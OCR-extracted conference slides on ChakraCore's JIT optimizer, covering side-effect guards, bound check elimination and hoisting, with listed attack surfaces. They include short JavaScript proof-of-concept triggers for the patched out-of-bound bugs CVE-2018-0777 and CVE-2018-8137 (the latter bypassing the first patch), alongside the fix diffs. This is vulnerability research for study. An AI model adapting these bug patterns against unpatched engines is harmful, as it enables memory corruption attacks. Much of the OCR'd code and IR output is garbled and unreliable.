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ChakraCore Architecture

Bailout
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Intermediate Representation

* Quaternion with three-address instruction
* m_dst = op m_srcl, m_src2

135 =class Instr

136 |{

137 |protected:

138 - Instr(bool hasBailOutInfo = false) :
503 Js: :0pCode m_opcode;

545 Opnd * | m_dst;

546 Opnd * m_srcl;

547 Opnd * m _src2;

551 |};



Dataflow analysis in ChakraCore

* Build the IR code according to bytecode , and then build the
Control Flow Graph(CFG) after inline calculation.

* Sort the Block by Depth-First Ordering(DFS).
* [terative Dataflow analysis.
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Loop In GlobOpt

* Sort the Block by Depth-First Ordering(DFS).

* |[f the function doesn’t contain loops, the dataflow analysis can be
finished with only one Iteration

* |[f It contains loops, the Instr(the loop depth of the basic block
where Instr Is located Is loop_depth) in loop will be iterated
loop_depth + 1 times.

sfunction opt(arr, start, end) {
var r=0;
var a=3,b=4; |<=T— |0Oop_depth =0
r = a+b;
B for (let 1 = start; 1 < end; i1++) {
for(let s=0;s5<10;s++)
Iarr|i| — ,|‘<:=|Oop_depth — 2
arr[i] = d=—=|00p _depth =1
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GlobOpt::Optimize

163 void

164 -GlobOpt::0ptimize()

165 |{

203 this->BackwardPass(Js: :BackwardPhase);
204 this->ForwardPass();

205 this->BackwardPass(Js: :DeadStorePhase);
206 }

207 this->TailDupPass();

208 |}



GlobOpt::Optimize

* Why there are two Calculate the value of
BackWardPass functions? upwardExposedUses:Rep
: resents live-variable
* The infos ( upwardExposedUses) T Tl e e
forward pass used can only be TR e Bl

got from the backward pass.

* BackwardPass(Js::BackwardPh
ase) will calculate the
upwardExposedUses

* BackwardPass(Js::DeadStoreP ForwardPass( )
ahse) will do temp variables
processing , dead store Instr

removing, escape Analysis
Dead Store instr remove,

Escape Analysis

BackwardPass(Js::BackwardPhase)




Global Optimization

Global Optimization

Escaple Analysis

Common Subexpression
Elimination

Type Specialization
Constant Folding
Bound Check Elimination

Loop-Invariant Code Motion

Bound Check Hoist In Loop

Dead Code Elimination
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JIT process

* Above, we
focus on the
Global
optimization.
The complete
JIT process as
shown as the
picture on the
right.




Attack Surfaces in Chakra JIT compiler

* Side Effect

* Bound Check Elimination

* Bound Check Hoist

* Some other Attack Surfaces



Side Effect

* Side Effect : the opcode has side effect, means that the opcode
not only has a effect on the dst/src in the Instr, but also has an
effect on the instructions that follow the Instr.



OpCode Static Attribute

* Each OpCode has much attributes which are defined in the file
named “ OpCodes.h".

* |n this section, we will focus on the attributes as follows :
* OpOpndHasimplicitCall, OpHasImplicitCall

437 MACRO_WMS( DeleteFldstrict, ElementC, Opsideeffect [PpOpndHasImplicitCalljOpDoNotTransfer |
438 MACRO_WMS_ROOT( DeleteRootFldstrict, ElementcC, OpsideEffect IﬂpDﬂNotTransFerloan )
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Instr ballout type

* Define In file named “ BaillOutKind.h”
* BalloutOnIimplicitCalls

* BalloutOnImplicitCallsPreOp

14 EéiL:ﬁQf:Kiﬂﬁ(BailOutOnImplicitCalls, _ IR::BailOutFDPArrayBi%s) |
15 BAIL_OUT_KIND(BailOutOnImplicitCallsPreOp, (IR::BailOutOnResultConditions

16



ThreadContext

e ThreadContext
e disableImplicitFlags: DisablelmplicitFlags
e implicitCallFlags: Js::ImplicitCalllFlags
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GlobOpt::Optimize

* In the GlobOpt::Optimize function, it will calculate the type for
INstr's bailout .

* this->ForwardPass():
* Here it will initialize the type for instr's bailout.

* this->BackwardPass(Js::DeadStorePhase)
* Here it will calculation the type for instr’s bailout.



Lowerer

* After GlobOpt::Optimize finished, lowerer will be called to lower
the Instrs.

* The lowerer phase will process the instr’'s bailout as follows :

* Bailout type “BailoutimplicitCalls:” will generate the guard check Instr to
check the flag named “ implicitCallFlags”

* Bailout type “BailoutOnlimplicitCallsPreOp:” will generate the guard check
Instr to check the “implicitCallFlags”, also will generate the code to set
“disablelmplicitFlags” to 1.



Runtime check function

template <class Fn>
inline Js::Var ExecuteImplicitCall(Js::RecyclableObject * function,
Js::ImplicitCallFlags flags, Fn implicitCall)
{
AutoReentrancyHandler autoReentrancyHandler(this);
Js::FunctionInfo::Attributes attributes =
Js::FunctionInfo::GetAttributes(function);
// we can hoist out const method if we know the function doesn't have
// and the value can be hoisted.
if (this->HasNoSideEffect(function, attributes))
{
// Has no side effect means the function does not change global
// will check for implicit call flags
Js::Var result = implicitCall();
// If the value is on stack we need to bailout so that it can be
// Instead of putting this in valueOf (or other builtins which h:
// the check here to cover any other scenario we might miss.
if (IsOnStack(result))
{
AddImplicitCallFlags(flags);
¥
return result;
}
// Don't call the implicit call if disable implicit call
if (IsDisableImplicitCall())
{
AddImplicitCallFlags(flags);
// Return "undefined" just so we have a valid var, in case subsequenf
// before we bail out.
return function->GetScriptContext()->GetLibrary()->GetUndefined();
}

if ((attributes & Js::FunctionInfo::HasNoSideEffect)

{

1= @)

// Has no side effect means the function does not change global value or
// will check for implicit call flags
Js::Var result = implicitCall();

// If the value is on stack we need to bailout so that it can be boxed.

// Instead of putting this in valueOf (or other builtins which have no side effect) ad
// the check here to cover any other scenario we might miss.

if (IsOnStack(result))

AddImplicitCallFlags(flags);
¥

return result;

struct RestoreFlags

{

}s

RestoreFlags restorefFlags(this, flags);

ThreadContext * const ctx;

const Js::ImplicitCallFlags flags;

const Js::ImplicitCallFlags savedFlags;
RestoreFlags(ThreadContext *ctx, Js::ImplicitCallFlags flags)

ctx(ctx),
flags(flags),
savedFlags(ctx->GetImplicitCallFlags())
{
by
~RestoreFlags()
{
ctx->SetImplicitCallFlags(static_cast<Js::ImplicitCallFlags>(savedFlags | flags));
by

20

return implicitCall();



Demo test

[*
GlobOpt command:
ch.exe -mic:2 -off:simplejit -bgjit- -dump:GlobOpt -debugbreak:2 demo.js
Lowerer command:
ch.exe -mic:2 -off:simplejit -bgjit- -dump:lowerer-debugbreak:2 demo.js
*/
ua = new Uint32Array( 0x100 )
function opt( num)
{
ua[0x10] = 0x10;
ua[0x05] = num;
}
opt( S );
opt( {});
opt( {});




GlobOpt::Optimize

* After the GlobOpt phase finished , the Instrs information look like
as follows:

IR after GlobhOpt <FullJit>

Function opt < <#i.1>,. #H2Z> Instr Count:-20
FunctionEntry

BLOCK O:= Out{1>

S L2 =

s14<s1@>L[0bject ]l _var = AxHEEEREEEE (GlobalObject > [Obhjectl1.var
=4 [LikelyMixed]l_var prm2<{d@>[LikelyMixed ] _vart

Line -4
Col 2

= walBx181
StatementBoundary HA Havan
=5 [LikelyCanBeTaggedUalue Uint32Arrayl.var = LdRootFld =s8d{s1<s1@>[0bjectl->ua>{B_m, ++_=18%_ =11, {uadB3>>[LikelyCanBeTaggedUalue Uint3I2Arrav] _vart H#HEA
BailOnNotArray =s5[LikelyCanBeTaggedUalue Uint3IZArrayl.var HOBHG Bailout: #P8B6 (BailOutOnMotArraypl
=15%.u32 LdIndir [sS [Uint32Arrav]..var+321.u32 HauBG
BoundCheck 16 € s15%.u32 H#HABAG Bailout: #PAA6K (BailOutOnArravAccessHelperCalll>
=14 _ub4 LdIndixr [s5[Uint32Arrayv] _var+561_ub4d HAaBvAGL
BailTarget HEoa6 Bailout: #8886 (BailOutSharedX
[25[Uint32Array]llzeg: zld4llzseglen: =151L><].var+l6l.var = StElemlI_A 16 <Ax1@>_i32 HOOAG Bailout: #8606 <(BailOutConventionalTypedArrayAcceszszs0Onlyl

Line 5: walBxA5%1 = num;
Col 2:
StatementBoundary #Hi1 HABACc
[25[Uint32Array]llzeg: zld4llzseglen: =151L><].vart+5]1._var = StElemlI_A sd4[LikelyMixed]l.var?t #HEOO12 Bailout: #8012 <(BailOutOnImplicitCallsFreOpl>
sALUndefined]l.var = Ld_A AxEEEEEEEEY <undefined? [Undefined].var Haa1s

StatementBoundary H2
StatementBoundary H-—1
RHet sBIlUndefined]l.var?

In<@>

FunctionExit



Lowerer

* After the Lowerer phase finished , the Instrs information look like
as follows:

Line 6: walBx@51
Col 2: ~
StatementBoundary #i

GLOBOPT INSTR: [e5[Uint32Array]llseg: sidllseglen: s151[><]l.vart+5]. var = StEleml_A s4[lLikelyMixed]l.var?t #8012 Bailout: #0812 (BailOutOnImplicitCallsPreOpl>

218 [LikelyMixed]l.var = HMOU s4[LikelyMixed]l.var
219.i64 = MOU 51B8I[LikelyMixed]l.var
219.4i64 SHR s1?.i64,. 48 (@x38>.i8
CHP s1?.i64,. 1 <Bx1>.i32
JNE SL8
217.4i32 HOU_TRUNC 818[LikelyMixed].i32
JHP SLY?
[helper]
%t TR Y = Ml cAlMTdlkeluMivedl
TAxEREEEEEEY (BRTomlicitCallFlags>1 of = MOU 1 (Ax1>_ 48
[AxAAHH I (&DisableImplicitCallFlags>1.48 = MOU 1 <Bx1>_i8
arg2is222C(rdx> . ubd = MOU AxRERAiians (ScriptContext? .ubd
arglds23>(rex> var = MOU 528 _var
s24(rax> . ub4d = MOU Conu_TolInt32_ubt4d
s21(rax>.1i32 = GCALL s24(raxd>_ ub4d
=217 5737 = Ml TRIIMNC =221 Crawd 137
[AxHEEEEEEE (EDizablelmplicitCallFlag=s2>]1_ 48 = MOU B <(BxH@>_i8
CHMP [AxAnniidld (&ImplicitCallFlag=>]1_ud, 1
JEQ <L

1.5et ImplicitCallFlags 1
2.5et DisablelmplicitCallFlags 1, disable implicit call

3.Clear DisablelmplicitCallFlags to 0
LESRE LI 4.1f implicitCallFlags not equal 1, indicates that an

$L1A: [helper]
$Li1: [helper]
[AxERARAEEEE (BBailOutHind>1.u32 = MOU 5 (Bx5>.u32
[AxHRRAREEE (Unknoun>1.ub6d = MOU AxXEARHAKEEY (FunctionBody [opt <#H1_1>, #21>_ubd #
JMP SL6

implicit call,go to bailout

EEEEAREESESSSESEE SRS

SLe:= L[helper]

SaveAllRegistersAndBailOut .ub4d #8912 Eailout: HEA1Z (BailOutShared)| GEESEIIeINI
SL7 i#




Side Effect Attack Point

compiler

jit code run
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Attack Points on Side Effect

* Attack Point 1: The opcode might have side effect, but the side

effect attribute haven't been d

e Attack Point 2: Instr ballout ca
BalloutimplicitCalls, BalloutOn

efined on It.

culation has errors, or doesn'’t set
mplicitCallsPreOp flags correctly.

* Attack Point 3: When lowering the Instrs, It forgets to generate

side effect guard Instr or does

It Incorrectly.

e Attack Point 4: The callback runtime functions haven’t set the

flags



Other Attack Points on Side Effect

* The opcode doesn’t lead to callback, but the runtime codes can
be called to change some object’s type, this may effect the Instrs
followed by It.

* The Incorrect implementation of 7hreadContext:ExecutelmplicitCall
may cause vulnerabilities



summary of side effect

* Chakra JIT Engine checks the side effect uses following steps.

* 1.Chakra JIT engine generate the side effect check instruction during the
compller process.

* 2.When the JIT code Is running, runtime functions will call the implicit
function to set the ThreadContext::ImplicitCallFlags.

* The codes Iin step 1 and 2 are all written by hand, code in step 1
and 2 have no synchronization mechanism, it may make mistakes
easlly.



Bound Check Elimination

* Array access IS the major optimization in Javascript, the Chakra JIT
engine will do optimization according to different situation . If we
can write some special codes that let the JIT engine eliminate the
Bound check incorrectly, it can cause out-of-bound read/write
vulnerabilities.



Bound check elimination

Calculate index
rangelindex low,index high]
Calculate length range
[length_low,length_high]

Eliminate bound check
Index low>=0
eliminatelowboundcheck=true
Index high<lenght low
eliminateupperboundcheck=true

eliminatelowboundcheck&&:
eliminateupperboundcheck is true

doExtractboundcheck=false

StEleminfo
createdMissingValue
filledMissageValue
neededHelpercCall
storedOutsideHeadSegmentBo
unds is all false

doExtractBoundCheck =
True

ExtractBoundCheck

29



Bound check elimination

* Attack Point 1: The calculation of Index range or array length
Incorrect, may cause out of bound read/write vulnerabilities.

* Attack Point 2: Chakra Engine uses more than 3000 lines codes to
iImplement the hoist of array BoundCheck, the implementation
process Is very complicated. From a security perspective, the more
complex the code, the easier it Is to cause a vulnerability.



Bound Check Hoist

* |[f there are array access in loop, the JIT engine might hoist the
array access check out of the loop.

* |f the hoist Is error, an out-of-bound read/write vulnerability can
be caused .

* Chakra Engine uses more than 3000 lines codes to implement the
hoist of array access boundary check, the implementation process
IS very complicated. From a security perspective, the more
complex the code, the easier it Is to lead to vulnerability.



Data Structure

class RegOpnd : public Opnd

{
o]8] o] [T
StackSym =*

class BasicBlock

{
// Global optimizer data

GlobOptBlockData

class GlobOptBlockData
{

GlobHashTable* symToValueMap;

class Sym

{
SymID m_id;

class Value

private:
const ValueNumber valueNumber;
Valuelnfo *valuelnfo:
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Combined data structure

INnstr

_‘ r _




IntBoundedValuelnfo

class IntBounds sealed class ValueRelativeOffset sealed

{ {

private: private:
int constantLowerBound, constantUpperBound; const Value *baseValue;
bool wasConstantUpperBoundEstablishedExplicitly; int offset;
RelativelntBoundSet relativelLowerBounds: bool wasEstablishedExplicitly;
RelativelntBoundSet relativeUpperBounds; j

typedef JsUtil::BaseHashSet<ValueRelativeOffset, JitArenaAllocator, PowerOf2SizePolicy,
ValueNumber> RelativelIntBoundSet;

34



INtBounds

* [constantLowerBound, constantUpperBound] is the range of
IntBounds.

* RelativelntBoundSet: contains the value which is used to represent
the IntBounds.



avallablelntBoundChecks

typedef JsUtil: :BaseHashSet<IntBoundCheck, JitArenaAllocator,
IntBoundCheckCompatibilityld> IntBoundCheckSet;

class GlobOptBlockData
{

J

IntBoundCheckSet * availableIntBoundChecks:

class IntBoundCheck

{

private:
ValueNumber leftValueNumber, rightValueNumber:
IR::Instr *instr;
BasicBlock *block;

PowerOf2SizePolicy,

36



Demo code

// -trace:ValueNumbering
function opt(arr, idx) {

let index=idx;

if(index >= 0x30 || true )

{
arr[index-0x10]=0x1234;

}
if( index<=0x7FFFfff )

{
//arr[idx] = 0x2345;
arr[index -0x05] = 0x12345;

}

function main() {
let arr = new Uint32Array(0x800);
opt(arr,0x30);
opt(arr,0x80);




* S13(ValueNumber 14) = s10(ValueNumber_11) - 0x10
* S13(ValueNumber_14) € s10(ValueNumber_11)
* S10(ValueNumber_11) € s13(ValueNumber_14)

Line 18: arrlindex-Bx181=-Bx1234;
Col 3~

StatementBoundary #2

g13.vap = Sub_A g12.var, sd.var!
UALUE MUMBERING TRACE : [srcll] s1B[LikelyCanBelaggedUalue_Intl.var = 11
UALUE WUMBERING TRACE : [src2] Bx1B0B00AAAAO1A.var : &
UALUE MUMBERING TRACE : [dst] s26¢=s13>.132 : 14




avallablelntBoundChecks

* 513>=0 && s13<=headSegmentLength-1

e <leftValueNumber, rightValueNumber> set is
[1,14],[14,headSegmentLength_ValueNumber]



* S18(ValueNumber 16) = s10(ValueNumber_11) -0x05
« S18(ValueNumber_16) € s10(ValueNumber_11)
ValueNumber_16) € s13(ValueNumber 14)
* s10(ValueNumber_11) € s18(ValueNumber_16)

Line 16: arrlindex -8BxB85] = Bx12345;

Col 3:°
StatementBoundary H#4

518 .var = Sub_A s12.vart, s¥.var!
UALUE NUMBERING TRACE : [secl] siBICanBelaggedlUalue_Intl.var : 11
UALUE NUMBERING TRACE : [src2] Bx1BHARABBBAAAS .var : 8
UALUE NUMBERING TRACE : [dst] s29¢s18).132 : 16




IR after GlobhOpt <(FullJit>

function opt ¢ {#H1.1>. #H2> Insty» Count:30

FunctionEntry
LOCK @: Qutd{i?> DeadOut{2>
w L7z

9 [LikelyCanBeTaggedUalue _Uint32Arrau]l.var
21A[LikelyCanBeTaggedlalue_Int 1. .var

= Argln_A

pEm2<48> [Like lyCanBeTaggedUalue _Uint32Array] . vart #
= ArgIn_A prm3<{48>[Like lyCanBeTaggedUalue_Int]l.vart B

Line 7?2 let index=idx;
Col 2: ~
StatementBoundary HO Hope2
Line 8: ifdindex >»= Bx380 ! true >
Col 2: ~
StatementBoundary #1 b 51515
DeadBrRelational s18[LikelyCanBeTaggedUalue_Intl_.var. Bx1000000000030._ var HOBAS
Line 18: arrlindex-8x1B]1=0x1234;
Col 3: ~
StatementBoundary H2 o018
£25(s18>.4i32 = FromUapr 518[Like lyCanBeTaggedValue_Intl.var?t #PA1lA Bailout: #O@18 (BailOutlntOnly>
826¢s13>.1i32 = Sub_I4 825(s1B>.4i32, 16 (Bx18>.i32 #8P1d Bailout: HOA1A <(BailOutOnOverf low>
BailOnMotArray s?2[LikelyCanBeTaggedlUalue_Uint32Array]l.var #8814 Bailout: #HBA14 (BailOutOnMotArrayd
28 .u32 = Ldlndip [s?2[Uint32Array]l. var+321.u32 nooi4
BoundCheck B {= s26<s13>.1i32 #BBi4 Bailout: H#BB@1l4 {(BailOutOnArrayAccessHelperCall)
BoundCheck 2264(s13>.132 <= s28.u32 - 12 H8@14 Bailout: #8014 (BailOutOnFailedHoistedBoundCheck>
227 . ub4 Ldlndiw [=?lUint32Array ] var+56 1. ubd Hoal4
[s?[Vint32Arrayliseg: =27 ]1lseglken: s2B8]1I2<].var+s26<(s132>.i32%l.var = StEleml_A

Line 13: if<{ index{=Bx?Fffffff >
Col 2: =~
StatementBoundary #3 15150 Y
LOCK 1: In<B> Out{2>
L6 : Haa22
Line 16: arrlindex -8xB5]1 = Bx12345;
Col 3: ~
‘.}LﬂLI'.Ilil'.IILlll!ltllllﬂf'v Lo § WEIC L L
529¢s18>.1i32 = Sub_l4 525¢s18>.1i32*,. 5 {(Bx5>.1i32 a2z
[22[0int32Array]liseg: =227 1lseglen: s2B81[><{1.vart+s29{(s18>.1i32%*1.var = StElemlI_A
Ehas &14 HAAD

LOCK 2: In<1> Out<{3> Deadlnd@>

46680 (Bx1234>.i32 HOB1l4 Bailout: HBB1l4 (BailOutConventionalTypedArrayiAccessOnlyd

74565 (Ax12345>.i32 #8826

Bailout:

#AA26 <(BailOutConventionalTypedArrayAccessOnly?

ZT




518 =s13 + Ox0b

(0 < 513 < headSegmentLength — 1
0 <518 < headSegmentLength — 1

0 <513 < headSegmentLength — 1
0 <513+ 0x0b < headSegmentLength — 1

* {0 < 513 < headSegmentLength — 0x0c

® 9

® S




landingPad BasicBlock

* landingPad Is inserted as a BasicBlock before loopheader
BasicBlock.

* [t I1s used to simplify loop optimization, contains hoisting Instrs.



Hoist Bound Check to landingPad

* When index Is not constant, headSegmentlLegth 1s not changed In
loop, It one of the following conditions i1s met, BoundCheck can
be hoisted to landingPad BasicBlock

* currentblock_Index valueNumber = landingPad_index_valueNumber
(index Is Invariant)

* currentblock_indexrelative_valueNumber =
landingPad_indexrelative_valueNumber (indexrelative Is invariant )

* currentblock_indexrelative_valueNumber =
landingPad_index_valueNumber (index Is variant )



loopCount

class LoopCount
{
private:

bool hasBeenGenerated;

// Information needed to generate the loop count instructions

// loopCountMinusOne = (left - right + offset) / minMagnitudeChange
StackSym =*leftSym, *rightSym;

int offset, minMagnitudeChange;

// Information needed to use the computed loop count
StackSym *loopCountMinusOneSym;

StackSym *loopCountSym; // Not generated by default and depends on loopCountMinusOneSym
int loopCountMinusOneConstantValue;
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Induction Variables

* In chakra engine, If a var has following formats
* index = index + of fset or index = index — of fset
e index + +, index — —,+ +index,— —index

* The index Is an Induction Variable.

class InductionVariable
{
o]0] o] [T

static const int
ChangeMagnitudeLimitForLoopCountBasedHoisting;

class IntConstantBounds

{

private:

int32 lowerBound;

private: int32 upperBound;

StackSym *sym;

ValueNumber symValueNumber;
IntConstantBounds changeBounds;
bool isChangeDeterminate;

46



Loopcount + InductionVariable can be
hoisted

* Upperboundcheck(loopCount isn't constant )

index + indexof fset + loopCountMinusOne * maxChange < headSegmentLength — 1
. maxChange = InductionVariable.changeBounds. upperBound
loopCountMinusOne = (left —right + of fset) /minMagnitudeChange

* Upperboundcheck( loopCount is constant )

. Jindex + indexOf fset + loopCountMinusOneConstantValue * maxChange < HeadSegmentLength
loopCountMinusOneConstantValue = of fset/minChange

47



BoundCheck Optimize

avallableIntBoundChecks Loop Hoist

lowerBoundCheck|  upperBoundCheck | lowerBoundCheck |  upperBoundCheck

indlex 1s constant applicable applicable applicable applicable
Index is Invariant applicable applicable applicable applicable
index’s RelativelntBoundSet is invariant | applicable applicable applicable applicable

currentBlock Index's RelativelntBoundSet

| i icabl icah
contains index in landinaPad block ol el not applicable appiicanie applicable

loopCount +InductionVariable(index) | not applicable not applicable applicable applicable




summary

* Based on above, we can draw a conclusion about BoundCheck
Optimization just like the picture above. It has 8 optimizable
situation, each situation contains lowerboundcheck and

upperboundcheck, so totally has 16 code branch.

* The logical organization of the code s in the order talked above

* The code which are more than 3000 lines are very complicated

* From a security perspective, the more complex the code, the
more likely It Is to cause a vulnerabillity.

* More detalls about BoundCheck hoist can found in the appendix.



Some other Attack Surfaces

* Escape Analysis

* Type Check Hoist In Loop

* Magic Number about MissingValue in Array
* Multiple use of one field in Data Structures



Interesting Vulnerabilities

* Bound Check Elimination
* CVE-2018-0777, CVE-2018-8137,a killed Oday

* Bound Check Holist
* CVE-2018-8145, CVE-2019-0592

* Mitigation for the OOB R/W Vulnerability

* Side Effect
* CVE-2019-0650

* Multiple uses of auxSlots
* CVE-2019-0567



CVE-2018-0777

//ch.exe -mic:1 -off:simplejit -bgjit- ~-dump:GlobOpt

function opt(arr, start, end) {
for (let1 = start; | < end; I++) {
if 1 ===10){
| += 0;
}
arr[i] = 2.3023e-320;
}
}

let arr = new Array(100):;
arr.fill(1.1);

opt(arr, 0, 3);

opt(arr, 0, 100000);



8290 -

8291
8292
8293

8294 -

8295
8296

8297 -

8298
8299
8300
8301
8302
8303
8304
8305
8306
8307
8308
8309

Root cause analysis

if(addSubConstantInfo &&l!addSubConstantinfo->SrcVa1ueTsLikeGConstantgZ|&& DoTrackRelativeIntBounds())

{

Assert(!ignoredIntOverflowForCurrentInstr);

// Track bounds for add or sub with a constant. For instance, consider (b = a + 2). The value of 'b' should track that
// it is equal to (the value of 'a') + 2. Additionally, the value of 'b' should inherit the bounds of 'a', offset by
// the constant value.

if(!valueType.IsInt() || !isvalueInfoPrecise)

{
newMin = INT32_MIN;
newMax = INT32_MAX;
}
dstBounds =

IntBounds: :Add(
addSubConstantInfo->Srcvalue(),
addSubConstantInfo->0ffset(),
isValueInfoPrecise,
IntConstantBounds(newMin, newMax),

alloc);
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* addSubConstrantinfo->SrcValuelsLikelyConstant( ) Is true
* Index Value Is not an IntBounds

* |f Index Value i1s not an IntBounds,the BoundCheck optimization
adopt loopcount + InductionVariable mode.



Bound Check Elimination/Hoist

Get BoundCheck Hoist Info

index_range:[index_min,index_max]

hslength_range:[hslength_min,hslength_max]
offset

Index_max <=
hslength_min + offse

Y

Bound Check Elimination
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adopt loopCount + InductionVariable

* Index range:[-0x80000000,0x 7/ ttfftff]
* headSegmentLength range:[0,0x /7 Tfffff]
* offset: Ox 7 ffffftf

* Put the above values into the following inequality
* Index_max <= headSegmentLength_max + offset => Ox7fffffff
<=0x/fffffff Is true

* SO In this case ,the upperboundcheck will be eliminated , 1t will
cause an out of bound read/write vulnerability.



Patch about CVE-2018-0777

[CVE-2018-0777] JIT: Loop analysis bug - Google, Inc. Browse files
¥ master (#4503) T v1.11.6 .- v176
Rl pleath authored and Thomas Moore (CHAKRA) committed on 2 Dec 2017 1 parent seSackd commit 14c752b66F43eebecc8dd2f7F9d5378F6a91638e
Showing 3 changed files with 51 additions and 0 deletions. Unified Split
23 EEEEN lib/Backend/GlobOpt.cpp View file e
=z @@ -7e72,6 +7872,18 @@ GlobOpt: :0ptConstFoldUnary(

this-»>ToFloats4Dst(instr, dst-»>AsReglpnd(), this-»currentBlock);

h

¥
+
+ SS I+ this is an induction wariable, then treat it the way the prepass would hawve if it had seen
+ S the assignment and the resulting change to the walue number, and mark it as indeterminate.
+ for {Loop * loop = this->currentBlock-»>loop; loop; loop = loop->parent)
+ 1
+ InductionVWariable *iwv = nullptr;
+ if (loop-»*inductionVariables && loop-*inductionVariables->TryGetReference(dstSym->m_id, &iwv))
+ 1
+ iv-»>SetChangelsIndeterminate();
+ by
+ b
4

return true;
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b2 £+
H2

+ + + + + + + + + o+ o+

-12391,6 +12483,17 @@ GlobOpt: :[Waa®EdEol Bl in i EIgY (

this-»ToInt32Dst(instr, dst-»AsRegOpnd(), this->currentBlock);

f// If this is an induction variable, then treat it the way the prepass would have if it had seen
[/ the assignment and the resulting change to the wvalue number, and mark it as indeterminate.

for (Loop * loop = this-»currentBlock->loop; loop; loop = loop->parent)

{
InductionVariable *iv = nullptr;
if (loop-»inductionVariables && loop-»inductionVariables-»TryGetReference(dstSym-»m_id, &iv))
{
iv->SetChangelsIndeterminate();
h
h

return true;
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CVE-2018-0777

* ConstFold will change the Induction Variable ValueType, In
GlobOpt::OptConstFoldBinary, GlobOpt::OptConstFoldUnary
function 1t will mark the Induction Variable as indeterminate.

* In the BoundCheck Hoist Phase, because the Induction Variable is
already marked as indeterminate, the conditions of
loopcount+InductionVariable pattern will not match , and the
hoist of BoundCheck Instr will fail.



CVE-2018-0777 patch timeline

* This vulnerability found by Lokihardt of Google Project Zero

* Patched in Jan 2018 Chakra Security Update

60


https://www.google.com/

CVE-2018-8137: bypass the patch

* Analyze the CVE-2018-0777, the poc has the following features:
* The Index’s ValueType Is not IntBounds
* The Index Is Induction Variable and the Induction Variable is determinate.

* |f meet the above feature, we can get a vulnerability.



CVE-2018-8137: bypass the patch

//ch.exe -mic:1 -off:simplejit -bgjit- -dump:GlobOpt
function opt(arr, start, end) {
for (let 1 = start; 1 < end; 1++) {
if (1 ==10) {
for(let |=0;<10;++)
1+=0;
}
arr[i] = 2.3023e-320;
}

}
let arr = new Array(100):

arr.fill(1.1);
opt(arr, 0, 3):
opt(arr, 0, 100000);



11981
T11982
11983
11984
11985
11986
11987
11988
11989
1199
11991
11992
11993
11994
11995
11aas
1285
lz2ees
1z2ee7
lzees8
12@e9
12el1a
12811
1212
12213
12814
12815
12816
12817
1218
12819
1282e

12863
12es4
1265
12866
1z2ese7
1288
12869
1z2e7e
12871
1272
1273
1274

bool

GlobOpt: :0OptConstFoldBinary(

IR: :Instr * *pInstr,

const InmntConstantBounds &srclIntConstantBounds,
const IntConstantBounds &src2IntConstantBounds,
Value **pDstwval)

IR: :Instr * &instr = *pInstr;
int32 wvalue;
IR: :IntConstopnd *constOopnd;

if (!DoConstFold())

{
return false;

H

if (instr->IsBranchInstr())

1
srclMinIntConstantvalue = srclIntConstantBounds.LowerBound();
srcilMaxIntConstantWValue = srclIntConstantBounds.UpperBound() ;
src2ZMinIntConstantvalue = src2IntConstantBounds. LowerBound()
src2MaxIntConstantWValue = src2IntConstantBounds.UpperBound();

ks

else if (srclIntConstantBounds.IsConstant() && srcZ2IntConstantBounds.IsConstant())
1
srclIntConstantvalue srclIntConstantBounds. LowerBound():
src2IntConstantvalue = src2IntConstantBounds.LowerBound():;

else

i
Ireturn falSE;I
by

ff If tﬁis-is an induction wariable, then treat it the way the prepass would hawve if it had

SS the assignment and the reswulting change to the walue number, and mark it as indeterminat

for (Loop * loop = this->currentBlock->loop; loop; loop = loop->parent)

{
Inductionvariable *iwv = nullptr;
if (loop->inductionvariables && loop->inductionvariables->TryGetReference(dstsSym->m_id,
{

iv->SetChangeIsIndeterminate();

}
¥

return true;

63



Bypass the patch

* [f we can make
srclintConstantBounds.IsConstant() && src2IntConstantBounds.IsConstant()

false, then the Induction Variable will not be marked as
Indeterminate, so we will bypass the patch.
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I I I
) [0

e T N T N T T T N

—] & N

ValueNumbering Trace

« Not Add “for(let j=0;j<10;j++)"

StatementBoundary #5 #002a
(0, 1]: s9.var = Add A s9.var!, sd.var #002a
VALUE NUMBERING TRACE [0, 1]: [srcl] s9[LikelyCanBeTaggedValue Int].var! : 8
VALUE NUMBERING TRACE [0, 1]: [srcZ] s4[CanBeTaggedValue Int].wvar : 5
VALUE NUMBERING TRACE [0, 1 [dst] s9.wvar : 12

s9.var = Add A 59 [LikelyCanBeTaggedValue Int].var!, sé4[CanBeTaggedValue Int].var #0019
VALUE NUMEBERING TRACE : [srcl] : 16
VALUE NUMBERING TRACE : [srcZ] JUx .varfj: 9

VALUE NUMBERING TRACE : [dst] =s22(s9).132 : 8



ValueNumbering Trace

 Add “for(let [=0:j<10;j++)"

[0, 1]: s9.var = Add A s9. var!, s4.var t
VALUE NUMBERING TRACE [0, 1]: [srcl] s9[LikelyCanBeTaggedValue Int].var! : 8
VALUE NUMBERING TRACE [0, 1]: [srec2] s=s4[CanBeTaggedValue Int].var : b

VALUE NUMBERING TRACE [0, 1]: [dst] s9.var : 12

StatementBoundary #5 #002a
[1, 1]: s9.var = Add A s9[LikelyCanBeTaggedValue Int].var!, s4[CanBeTaggedValue Int].var #002:
VALUE NUMBERING TRACE [1, 1]: [srecl] s9[CanBeTaggedValue Int].var! : 18
VALUE NUMBERING TRACE [1, 1]: [src2] s4[CanBeTaggedValue Int].var : b
VALUE NUMBERING TRACE [1, 1]: [dst] s9.var : 19

A A A A ASAr A A A A ras wrama A

s9. var = Add A gedValue Int].var!, 54[CanBeTﬁggedValue_Int].Var #0023
VALUE NUMBERING TRACE : jlsrcl]| s9Y|

anBelaggedValue Int
VALUE NUMBERING TRACE : ] :
VALUE NUMBERING TRACE : [dst] s20(s9).132 : 23

66



Add “for(let j=0:j<10:j++)

* After the addition of“for(let |=0;<10;++)" statement, we have
seen that the srcl is not a constant, the induction variable Is
determinate, so we can bypass the patch!



Patch about CVE-2018-8137

[CVE-2018-8137] Edge - chakra JIT array out of bound read/write vulne... e e

.rability lead to Remote Code Execution

P master (#5116) © v1116 .. v184

.:' sigatrev authored and MSLaguana committed on 19 Apr 2018 1 parent ee5dfab  commit 6e362fe94bcabba7c8b8c6f819c1bee9dac51893c
Showing 3 changed files with 29 additions and 20 deletions. Unified | Split
24 HEEN  lib/Backend/GlobOpt.cpp View file v
b2 E4 W@ -6482,6 +6482,8 @@IElobCpt: :0ptCons PeeleF{: :Instr *instr, IR::0pnd *constsrc, VvValue **pDstval, val

instr->m opcode = Js::0OpCode::Ld A;

+ I InvalidateInductionVariables(instr);I

+

return true;
68



Patch about CVE-2018-8137

